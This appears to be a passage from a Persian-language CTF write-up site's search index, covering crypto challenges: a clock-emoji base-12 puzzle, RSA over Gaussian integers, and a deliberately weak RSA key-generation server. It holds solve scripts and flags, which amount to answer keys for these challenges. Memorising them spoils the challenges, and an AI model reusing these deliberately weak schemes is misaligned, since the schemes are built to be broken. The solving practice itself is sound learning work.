arr).encrypt('FLAG_MOTORI')\n
","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Watchmaker/","title":"\u0686\u0627\u0644\u0634 Watchmaker","text":"

\u062e\u0628 \u062a\u0648 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0627\u06cc\u0644\u06cc \u0628\u0627 \u0645\u062d\u062a\u0648\u06cc\u0627\u062a \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a

&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\n

\u0628\u0631\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u06cc \u0631\u0648\u0628\u0631\u0648 \u0634\u062f\u06cc\u0645 \u0627\u0648\u0645\u062f\u0645 \u0639\u062f\u062f \u0627\u0648\u0644 (&#128340;) \u0631\u0648 \u062a\u0648 \u06af\u0648\u06af\u0644 \u0633\u0631\u0686 \u06a9\u0631\u062f\u0645 \u0648 \u062f\u06cc\u062f\u0645 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f \u0628\u0647 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0633\u0627\u0639\u062a \ud83d\udd54

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0627 \u062a\u06cc\u06a9\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0627\u0648\u0645\u062f\u0645 \u062a\u0628\u062f\u06cc\u0644\u0634\u0648\u0646 \u06a9\u0631\u062f\u0645 \u0628\u0647 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0647\u0627\u06cc \u062e\u0627\u0635 \u062e\u0648\u062f\u0634

s = \"&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\"\nprint( ''.join(map(lambda x: chr(int(x[2:])), s[:-1].split('; '))) )\n# '\ud83d\udd54\ud83d\udd56\ud83d\udd55\ud83d\udd56\ud83d\udd54\ud83d\udd57\ud83d\udd54\ud83d\udd58\ud83d\udd54\ud83d\udd55\ud83d\udd56\ud83d\udd54\ud83d\udd59\ud83d\udd52\ud83d\udd53\ud83d\udd50\ud83d\udd58\ud83d\udd57\ud83d\udd58\ud83d\udd56\ud83d\udd56\ud83d\udd5a\ud83d\udd58\ud83d\udd57\ud83d\udd53\ud83d\udd50\ud83d\udd58\ud83d\udd50\ud83d\udd53\ud83d\udd52\ud83d\udd56\ud83d\udd5a\ud83d\udd58\ud83d\udd57\ud83d\udd52\ud83d\udd53\ud83d\udd56\ud83d\udd5a\ud83d\udd57\ud83d\udd57\ud83d\udd53\ud83d\udd53\ud83d\udd57\ud83d\udd52\ud83d\udd57\ud83d\udd5a\ud83d\udd59\ud83d\udd54'\n

\u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u062f\u06cc\u062f\u06cc\u0645 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0647\u0627 \u062f\u0627\u0631\u0646\u062f \u0633\u0627\u0639\u062a \u0647\u0627\u06cc \u062a\u062e\u062a \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0646 \u067e\u0633 \u0627\u0648\u0645\u062f\u06cc\u0645 \u0633\u0627\u0639\u062a\u0634\u0648\u0646 \u0631\u0648 \u0628\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u062f\u06cc\u0645

d={\n    36: 1,\n    37: 2,\n    38: 3,\n    39: 4,\n    40: 5,\n    41: 6,\n    42: 7,\n    43: 8,\n    44: 9,\n    45: 10,\n    46: 11,\n}\nz = [*map(lambda x: d[int(x[2:])%100], s[:-1].split('; '))]\n# [5, 7, 6, 7, 5, 8, 5, 9, 5, 6, 7, 5, 10, 3, 4, 1, 9, 8, 9, 7, 7, 11, 9, 8, 4, 1, 9, 1, 4, 3, 7, 11, 9, 8, 3, 4, 7, 11, 8, 8, 4, 4, 8, 3, 8, 11, 10, 5]\n

\u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u0627\u0648\u0645\u062f\u06cc\u0645 \u06a9\u0644\u06cc \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0639\u062f\u0627\u062f \u0686\u06cc \u0645\u06cc\u062a\u0648\u0646\u0646 \u0628\u0627\u0634\u0646\u062f \u0627\u0648\u0644\u06cc\u0646 \u06af\u0632\u06cc\u0646\u0647 \u06a9\u0647 \u0628\u0647 \u0630\u0647\u0646\u0645\u0648\u0646 \u0631\u0633\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0639\u062f\u0627\u062f \u0634\u0627\u06cc\u062f \u0647\u06af\u0632 \u0628\u0627\u0634\u0646\u062f \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af C \u0648 \u062d\u0631\u0641 \u0633\u0648\u0645 \u0641\u0644\u06af D \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 1 \u0647\u0633\u062a\u0634 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062f\u0648 \u0639\u062f\u062f 57 \u0648 58 \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 \u06cc\u06a9 \u0647\u0633\u062a\u0634\u060c \u0634\u0627\u06cc\u062f \u062d\u062f\u0633\u0645\u0648\u0646 \u062f\u0631\u0633\u062a \u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0628\u0631\u0627\u06cc \u062d\u0631\u0641 \u0627\u0648\u0644 \u0648 \u062f\u0648\u0645 \u0627\u06cc\u0646 \u0631\u0627\u0628\u0637\u0647 \u062f\u0631\u0633\u062a \u062f\u0631 \u0646\u0645\u06cc\u0648\u0645\u062f. \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af C \u0628\u0627 \u062d\u0631\u0641 \u062f\u0648\u0645 O \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 12 \u0647\u0633\u062a\u0634. \u0648\u0644\u06cc \u062a\u0648 \u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u0627\u0638\u0631 \u0645\u0627 \u0645\u0642\u0627\u062f\u06cc\u0631 57 \u0648 67 \u0628\u0647\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u067e\u06cc \u0628\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0628\u0646\u0627 12 \u0647\u0633\u062a\u0646\u062f \u0627\u0639\u062f\u0627\u062f \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0633\u0627\u062f\u06af\u06cc \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645

s = \"&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\"\nd={\n    36: 1,\n    37: 2,\n    38: 3,\n    39: 4,\n    40: 5,\n    41: 6,\n    42: 7,\n    43: 8,\n    44: 9,\n    45: 10,\n    46: 11,\n}\nz = [*map(lambda x: d[int(x[2:])%100], s[:-1].split('; '))]\n''.join(chr(z[i*2]*12 + z[i*2+1]) for i in range(len(z)//2))\n
FLAG

CODEBY{1ts_t1m3_t(_h4ck}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["Cybercoliseum \u2162","Crypto","base12"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/","title":"\u0686\u0627\u0644\u0634 ComplexProblem","text":"","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u062e\u0628 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644 \u06af\u0641\u062a\u0647:\u200c \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u0627 \u0627\u0639\u062f\u0627\u062f \u0645\u062e\u062a\u0644\u0637 \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0628\u0632\u0646\u06cc\u0645...

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u062d\u062a\u0648\u0627\u0634 \u0627\u06cc\u0646\u0647:

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#outtxt","title":"\u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc out.txt","text":"
N = 47314254765672217716326132674\n+ 275948221897758780728621214539i\ne = 65537\nciphertext = -120974603478533287568533462088\n+ -26598567903204264781472600457i\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#gaussian-rational","title":"\u06a9\u0644\u0627\u0633 Gaussian Rational","text":"

\u0628\u06cc\u0627\u06cc\u0645 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

\u0634\u0627\u06cc\u062f \u0628\u0631\u0627\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0634\u0647 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0627\u0635\u0644\u0627 \u0686\u06cc \u0647\u0633\u062a\u061f\u200c \u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0648\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a\u060c \u06cc\u06a9 \u0639\u062f\u062f \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0628\u0647 \u0634\u06a9\u0644

\u200d\u200d\u200d\u200dp + qi

\u0647\u0633\u062a\u060c \u06a9\u0647 \u062a\u0648\u06cc \u0627\u0648\u0646 p \u0648 q \u0647\u0631 \u062f\u0648 \u0627\u0639\u062f\u0627\u062f \u06af\u0648\u06cc\u0627 \u0647\u0633\u062a\u0646\u062f. \u0648 \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u062f\u0648\u0646\u06cc\u062f p \u0642\u0633\u0645\u062a Real \u06cc\u0627 \u062d\u0642\u06cc\u0642\u06cc \u0648 q \u0642\u0633\u0645\u062a Imag \u06cc\u0627 \u0645\u0648\u0647\u0648\u0645\u06cc \u0647\u0633\u062a.

\u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u062f \u06a9\u0647 \u06cc\u06a9\u0633\u0631\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u062a\u0639\u06cc\u06cc\u0646 \u0634\u062f\u0647

class GaussianRational:\n    def __init__(self, real: Fraction, imag: Fraction):\n        assert(type(real) == Fraction)\n        assert(type(imag) == Fraction)\n        self.real = real\n        self.imag = imag\n\n    def conjugate(self):\n        return GaussianRational(self.real, self.imag * -1)\n\n    def __add__(self, other):\n        return GaussianRational(self.real + other.real, self.imag + other.imag)\n\n    def __sub__(self, other):\n        return GaussianRational(self.real - other.real, self.imag - other.imag)\n\n    def __mul__(self, other):\n        return GaussianRational(self.real * other.real - self.imag * other.imag, self.real * other.imag + self.imag * other.real)\n\n    def __truediv__(self, other):\n        divisor = (other.conjugate() * other).real\n        dividend = other.conjugate() * self\n        return GaussianRational(dividend.real / divisor, dividend.imag / divisor)\n\n    # credit to https://stackoverflow.com/questions/54553489/how-to-calculate-a-modulo-of-complex-numbers\n    def __mod__(self, other):\n        x = self/other\n        y = GaussianRational(Fraction(round(x.real)), Fraction(round(x.imag)))\n        z = y*other\n        return self - z\n\n    # note: does not work for negative exponents\n    # exponent is (non-negative) integer, modulus is a Gaussian rational\n    def __pow__(self, exponent, modulo):\n        shifted_exponent = exponent\n        powers = self\n        result = GaussianRational(Fraction(1), Fraction(0))\n        while (shifted_exponent > 0):\n            if (shifted_exponent & 1 == 1):\n                result = (result * powers) % modulo\n            shifted_exponent >>= 1\n            powers = (powers * powers) % modulo\n        return result\n\n    def __eq__(self, other):\n        if type(other) != GaussianRational: return False\n        return self.imag == other.imag and self.real == other.real\n\n    def __repr__(self):\n        return f\"{self.real}\\n+ {self.imag}i\"\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_2","title":"\u0633\u0627\u062e\u062a\u0646 \u06a9\u0644\u06cc\u062f","text":"

\u062d\u0627\u0644\u0627 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u062f\u0648 \u062a\u0627 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0632\u062d\u0645\u062a \u0633\u0627\u062e\u062a\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u0645\u06cc\u06a9\u0634\u0646..

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#get_gaussian_prime","title":"\u062a\u0627\u0628\u0639 get_gaussian_prime","text":"

\u06a9\u0647 \u0645\u06cc\u0627\u062f \u06cc\u06a9 \u0639\u062f\u062f \u0627\u0648\u0644 \u06af\u0627\u0648\u0633\u06cc \u0631\u0648 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647

# gets a Gaussian prime with real/imaginary component being n bits each\ndef get_gaussian_prime(nbits):\n    while True:\n        candidate_real = randbits(nbits-1) + (1 << nbits)\n        candidate_imag = randbits(nbits-1) + (1 << nbits)\n        if isPrime(candidate_real*candidate_real + candidate_imag*candidate_imag):\n            candidate = GaussianRational(Fraction(candidate_real), Fraction(candidate_imag))\n            return candidate\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#generate_keys","title":"\u062a\u0627\u0628\u0639 generate_keys","text":"

\u0627\u06cc\u0646\u0645 \u06a9\u0647 \u0639\u062f\u062f \u0627\u0648\u0644\u0627\u0634\u0648 \u0627\u0632 \u062a\u0627\u0628\u0639 \u0628\u0627\u0644\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647

def generate_keys(nbits, e=65537):\n    p = get_gaussian_prime(nbits)\n    q = get_gaussian_prime(nbits)\n    N = p*q\n    return (N, e) # (N, e) is public key\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#encrypt","title":"\u062a\u0627\u0628\u0639 encrypt","text":"

\u062d\u0627\u0644\u0627 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u0631\u0648 \u0647\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645

def encrypt(message, public_key):\n    (N, e) = public_key\n    return pow(message, e, N)\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_3","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062e\u0628 \u0628\u0628\u0627\u06cc\u0646 \u062f\u0642\u062a \u06a9\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u0647 \u0628\u0644\u0627\u06cc\u06cc \u0633\u0631 \u0641\u0644\u06af \u0645\u06cc\u0627\u062f \u0648 \u0686\u062c\u0648\u0631\u06cc \u0631\u0645\u0632 \u0645\u06cc\u0634\u0647 \u0648 \u0686\u06cc\u06a9\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u06a9\u0646\u06cc\u0645 \u0627\u0635\u0644\u0627\u061f

flag = None\nwith open(\"/home/ctf/flag\", \"r\") as f:\n    flag = f.read()\npublic_key = generate_keys(48)\n(N, e) = public_key\nprint(f\"N = {N}\")\nprint(f\"e = {e}\")\nflag1 = flag[:len(flag) // 2].encode()\nflag2 = flag[len(flag) // 2:].encode()\nreal = int(hexlify(flag1).decode(), 16)\nimag = int(hexlify(flag2).decode(), 16)\nmessage = GaussianRational(Fraction(real), Fraction(imag))\nassert(real*real + imag*imag < N.real * N.real + N.imag * N.imag)\nciphertext = encrypt(message, public_key)\nprint(f\"ciphertext = {ciphertext}\")\n

\u062e\u0628 \u062f\u0631 \u0645\u0631\u062d\u0644\u0647 \u0627\u0648\u0644 \u0645\u06cc\u0627\u062f \u0641\u0644\u06af\u0648 \u0645\u06cc\u062e\u0648\u0646\u0647 \u0648 \u0628\u0639\u062f\u0634 \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u06f6\u06f4 \u0628\u06cc\u062a\u06cc \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0628\u0639\u062f\u0634 \u0645\u06cc\u0627\u062f \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u06a9\u062f \u0628\u0627\u0644\u0627 \u0631\u0648 \u0647\u0627\u06cc\u0644\u0627\u06cc\u062a \u06a9\u0631\u062f\u0645 \u0645\u06cc\u0627\u062f \u0641\u0644\u06af\u0648 \u062f\u0648 \u062a\u06a9\u0647 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0627\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631\u0647 \u0631\u0645\u0632 \u0628\u0634\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc\u06a9\u0646\u0647.

\u0628\u0639\u062f\u0634 \u0645\u06cc\u0627\u062f encrypt \u0645\u06cc\u06a9\u0646\u0647.

\u062e\u0628 \u0645\u0627 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0647\u0645\u06cc\u0634\u0647 \u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0631\u062f\u06cc\u0645 \u0628\u0627 \u0627\u06cc\u0646 \u062a\u0641\u0627\u0648\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u0628\u0627\u06cc\u062f \u062d\u0645\u0644\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0622\u062e\u0631 \u0628\u0627\u06cc\u062f \u062d\u0648\u0627\u0633\u0645\u0648\u0646 \u062c\u0645\u0639 \u0628\u0627\u0634\u0647 \u06a9\u0647 \u0648\u0642\u062a\u06cc \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f\u06cc\u0645 ( \u06a9\u0647 \u062f\u0631 \u062d\u0642\u06cc\u0642\u062a \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0647\u0633\u062a ) \u0642\u0633\u0645\u062a Real \u06cc\u0627 \u062d\u0642\u06cc\u0642\u06cc \u0648 \u0642\u0633\u0645\u062a Imag \u06cc\u0627 \u0645\u0648\u0647\u0648\u0645\u06cc \u0627\u0648\u0646 \u0631\u0648 \u062c\u062f\u0627\u06af\u0648\u0646\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0628\u0627\u06cc\u062a \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0639\u062f \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645.

\u062e\u0628 \u0627\u06af\u0647 \u06cc\u0627\u062f\u062a\u0648\u0646 \u0628\u0627\u0634\u0647 N \u062f\u0631 \u0642\u0627\u0644\u0628 \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u062e\u0628 \u062d\u0627\u0644\u0627 \u0628\u0647 \u0646\u0638\u0631\u062a\u0648\u0646 \u0645\u0627 \u0686\u062c\u0648\u0631\u06cc Phi \u0627\u06cc\u0646 \u0639\u062f\u062f \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645\u061f \u062c\u0648\u0627\u0628 \u0627\u06cc\u0646\u0647 \u0628\u0627\u06cc\u062f Norm \u0627\u0648\u0646 \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0639\u062f\u0634 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0648\u0646 Phi \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645.

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#norm","title":"\u0645\u062d\u0627\u0633\u0628\u0647 Norm","text":"

Norm \u0639\u062f\u062f \u0632\u06cc\u0631 \u0628\u0647 \u0641\u0631\u0645 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627

a + bi

\u0628\u0631\u0627\u0628\u0631 \u0627\u0633\u062a \u0628\u0627:

a^2 + b^2 solve.py
from Crypto.Util.number import *\n\n# N = 47314254765672217716326132674\n# + 275948221897758780728621214539i\nr_N = 47314254765672217716326132674\nim_N = 275948221897758780728621214539\n\n# We can calculate norm of N and using SageMath or factordb.com therefore we get p and q\nnorm_N = (r_N*r_N) + (im_N*im_N)  \np = 258832088213745478555898574053\nq = 302845216810343310427045691449\n\ne = 65537\n\n# ciphertext = -120974603478533287568533462088\n# + -26598567903204264781472600457i\nr_c = -120974603478533287568533462088\nim_c = -26598567903204264781472600457\n\nc = GaussianRational(Fraction(r_C), Fraction(im_C))\nN = GaussianRational(Fraction(r_N), Fraction(im_N))\n\nphi = (p-1)*(q-1)\nd = inverse(e, phi)\nFlag = pow(c, d, N)\nlong_to_bytes(int(Flag.real)) + long_to_bytes(int(Flag.imag))\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645 N \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0627\u0648\u0644 \u0646\u06cc\u0633\u062a \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0627 Factordb.com\u200d\u200d\u200d \u06cc\u0627 SageMath \u06a9\u0627\u0631 \u0631\u0648 \u067e\u06cc\u0634 \u0645\u06cc\u0628\u0631\u06cc\u0645 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u062f\u0648 \u0639\u062f\u062f \u0627\u0648\u0644 p \u0648 q \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0627\u0635\u0644 \u0636\u0631\u0628\u0634\u0648\u0646 \u0628\u0634\u0647 \u0628\u0631\u0627\u0628\u0631 N. \u062d\u0627\u0644\u0627 \u062f\u0627\u0631\u06cc\u0645:

Phi = (p-1) * (q-1)

\u0628\u0639\u062f \u0645\u06cc\u0627\u06cc\u0645 \u0627\u0648\u0646 \u067e\u06cc\u0627\u0645 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0648 N \u0631\u0648 \u0628\u0647 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u062f\u0631\u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a d \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0641\u0644\u06af \u0631\u0648 \u0645\u06cc\u06a9\u0634\u06cc\u0645 \u0628\u06cc\u0631\u0648\u0646 \u0628\u0647 \u0647\u0645\u06cc\u0646 \u0631\u0627\u062d\u062a\u06cc!

FLAG

sdctf{g3t_r341_0bcef3a}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SnappCTF/Blex/","title":"\u0686\u0627\u0644\u0634 Blex","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u062f \u0632\u06cc\u0631 \u0648 \u0622\u062f\u0631\u0633 \u0633\u0631\u0648\u0631 \u0628\u0627\u0644\u0627 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

server.py
import sys\nfrom Crypto.Util.number import *\nfrom flag import flag\n\ndef die(*args):\n    pr(*args)\n    quit()\n\ndef pr(*args):\n    s = \" \".join(map(str, args))\n    sys.stdout.write(s + \"\\n\")\n    sys.stdout.flush()\n\ndef sc(): \n    return sys.stdin.buffer.readline()\n\ndef keygen(r):\n    assert len(r) <= 60\n    v, l = int(r, 16), len(r)\n    e = (64 - l) << 4\n    u, w = v << e, 2 ** (e >> 1)\n    for _ in range(110):\n        r = getRandomRange(1, w)\n        p = r + u\n        while p >> e == v:\n            if isPrime(p):\n                while True:\n                    x, y = [2 * getRandomNBitInteger(p.bit_length() >> 2) for _ in '__']\n                    P, Q = x * p | 1, y * p | 1\n                    if isPrime(P) and isPrime(Q):\n                        return P, Q\n            p += 1\n\ndef main():\n    border = \"|\"\n    pr(border*72)\n    pr(border, f\"Welcome to Blex task! Your mission is break our complex cryptosystem\", border)\n    pr(border*72)\n    pr(border, f\"please provide your desired seed to generate key in hex:\")\n    seed = sc().decode()\n    try:\n        _b = len(seed) <= 60 and int(seed, 16) >= 0\n    except:\n        die(border, f\"The seed you provided is either not in hex or is not valid!\")\n    if _b:\n        pr(border, f\"Generating keypair, please wait...\")\n        p, q = keygen(seed)\n        e, n =  65537, p * q\n        m = bytes_to_long(flag)\n        assert m < n\n        c = pow(m, e, n)\n        pr(border, f'n = {n}')\n        pr(border, f'c = {c}')\n    else:\n        die(border, f\"Your seed is too long!!!\")\n\nif __name__ == '__main__':\n    main()\n

